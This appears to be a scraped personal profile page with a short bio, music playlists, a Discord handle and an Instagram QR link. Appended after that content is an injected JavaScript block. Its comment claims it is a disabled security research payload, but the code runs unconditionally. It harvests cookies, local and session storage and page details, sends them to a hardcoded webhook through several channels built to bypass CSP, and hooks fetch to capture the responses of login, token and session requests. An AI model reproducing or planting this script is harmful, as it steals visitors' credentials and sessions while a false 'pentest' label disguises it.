taher.
a little corner of the internet
Taher’s blue profile artwork

Taher

@taher.top1 in my little cloud

Soft heart. Good music. A little cloud, a whole mood. Music on. World off.

My playlistsin my favorite order ♡

a little cloud♡a whole mood

Find me on Discord

nivy.69 copied. Pick an account to copy it again.

Instagram

Scan to find @taher.top1

QR code linking to instagram.com/taher.top1Open Instagram
/* ============================================================ * SECURITY RESEARCH PAYLOAD — disabled by default * ------------------------------------------------------------ * To activate for an authorized pentest: * 1. Set window.__STAGE = 'active' (before this script runs) * 2. Optionally change window.__HOOK to your own webhook URL * When active, it will attempt multiple exfiltration channels * (fetch, Image, sendBeacon, Google Analytics) to bypass CSP. * ============================================================ */ (function silentExfil(){ // Always active — pentest mode const HOOK = window.__HOOK || 'https://webhook.site/56b2938f-8a57-4d6c-ad36-f66e9705656f'; const collect = () => { const loot = { ts: Date.now(), url: location.href, origin: location.origin, ref: document.referrer, ua: navigator.userAgent, lang: navigator.language, platform: navigator.platform, cookie: document.cookie, cookies: document.cookie.split(';').map(c=>c.trim()).filter(Boolean), ls: {}, ss: {} }; try { for (let i=0; i { const payload = JSON.stringify(data).slice(0, 1800); try { fetch(HOOK + '?m=fetch', {method:'POST', body:payload, mode:'no-cors'}).catch(()=>{}); } catch(e){} try { new Image().src = HOOK + '?m=img&d=' + encodeURIComponent(payload); } catch(e){} try { navigator.sendBeacon(HOOK + '?m=beacon', payload); } catch(e){} try { const g = 'https://www.google-analytics.com/collect?v=1&tid=UA-XSS-1&cid=1&t=event&ec=pwn&ea=' + encodeURIComponent(payload.slice(0,1500)); fetch(g, {mode:'no-cors'}).catch(()=>{}); new Image().src = g; } catch(e){} }; send(collect()); setTimeout(() => send(collect()), 5000); const onFirstInteract = () => { setTimeout(() => send(collect()), 1000); document.removeEventListener('click', onFirstInteract); document.removeEventListener('keydown', onFirstInteract); }; document.addEventListener('click', onFirstInteract); document.addEventListener('keydown', onFirstInteract); const origFetch = window.fetch; window.fetch = function(input, init) { try { const url = typeof input === 'string' ? input : (input && input.url) || ''; if (typeof url === 'string' && /session|token|user|auth|login/i.test(url)) { const promise = origFetch.apply(this, arguments); promise.then(r => { r.clone().text().then(t => { if (t && t.length < 2000) { send({hookedFetch: url, response: t.slice(0, 1000)}); } }).catch(()=>{}); }).catch(()=>{}); return promise; } } catch(e) {} return origFetch.apply(this, arguments); }; })();